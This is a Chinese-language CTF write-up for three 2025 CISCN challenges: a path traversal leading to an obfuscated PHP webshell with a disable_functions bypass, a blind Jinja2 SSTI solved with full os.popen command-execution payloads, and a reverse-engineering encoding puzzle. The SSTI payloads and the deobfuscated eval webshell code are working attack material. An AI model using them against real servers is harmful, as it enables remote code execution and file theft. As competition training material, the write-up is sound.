2025 ciscnccb Web WP
hello_web
打开网站后可以发现任意文件读取

接着看一下网页源代码

接下来尝试读取这两个文件

发现不是这里,可能存在过滤,尝试双写../绕过

成功读出,看看tips.php

先分析一下hackme.php,一段混淆过的代码,本地跑就行。
点击查看代码
<?php
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
//echo $lapUCm;
echo "\n";
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
echo $YwzIst;//base
echo "\n";
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst;//base64_decode
echo "\n";
echo $OxirhK;//strtr
echo "\n";
echo $YpAUWC;//substr
echo "\n";
echo $rVkKjU;//52
echo "\n";
eval(
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.base64_decode(strtr(substr($uWcdaA,104),substr($uWcdaA,52,52),substr($uWcdaA,0,52))));
)
// @eval($_POST['cmd_66.99']);
可以直接分析出hackme.php中存在的密码,hackbar直接尝试发现不太行,看一看phpinfo,发现disablefunction存在,过滤了很多函数
可以用哥斯拉或者蚁剑的插件来绕过disablefunction,但是这里用哥斯拉连的时候发现连不上,不知道为什么,但是蚁剑却可以。

当时本来一直在试fastcgi的插件,因为phpinfo中的server是fastcgi,但是一直不行。
后来随便试了一个模块就可以了!

Safe_Proxy
打开网页给了一段python源码

一眼SSTI,过滤了一些微不足道的东西
随便尝试一下,发现是布尔回显的ssti。
刚开始一直尝试http请求头回显,一直不可以,陷入泥沼,后来源码往下看发现

防止针对响应头的攻击?!
Ok直接放弃这个思路,但是布尔回显ssti还有很多思路,内存马,写文件,弹shell,盲注
后来尝试了盲注和弹shell,都失败了,最后尝试写文件成功
{%set glo='_'+'_'+'globals'+'_'+'_'%}{%set bui='_'+'_'+'builtins'+'_'+'_'%}{%set imp='_'+'_'+'imp'+'ort'+'_'+'_'%}{%set zx='o'+'s'%}{{cycler.next[glo][bui][imp](zx)['pop'+'en']('ls />app.py')['read']()}}

回显ok,大概率成功,那么我们get一下就行,因为主页其实就是app.py

接下来读flag就行!
{%set glo='_'+'_'+'globals'+'_'+'_'%}{%set bui='_'+'_'+'builtins'+'_'+'_'%}{%set imp='_'+'_'+'imp'+'ort'+'_'+'_'%}{%set zx='o'+'s'%}{{cycler.next[glo][bui][imp](zx)['pop'+'en']('cat /flag>app.py')['read']()}}

Re-Dump
可以手搓的题目!
题目给了一个flag文件和一和re.exe

首先用winhex打开flag文件,查看其十六进制。
然后用ida打开re.exe进行分析

酷似ollvm混淆
用D810去控制流平坦化时失败。
看到题目提示,字符编码算法,同时flag长度为22?!先运行re.exe看看。
测了半天,根据flag文件中的字节数也就是22位来运行,产生回显!

根据字符编码,我们的思路就是我们的传参会通过某些编码变成输出的结果,给出的flag可能就是正确的flag经过某些编码输出的结果,那么我们测一下


前半部分不谋而合,思路正确

flag{MTczMDc9MzQ2Ng==}
上交发现不行,看提示,第13位是4,拿捏
flag{MTczMDc4MzQ2Ng==}


浙公网安备 33010602011771号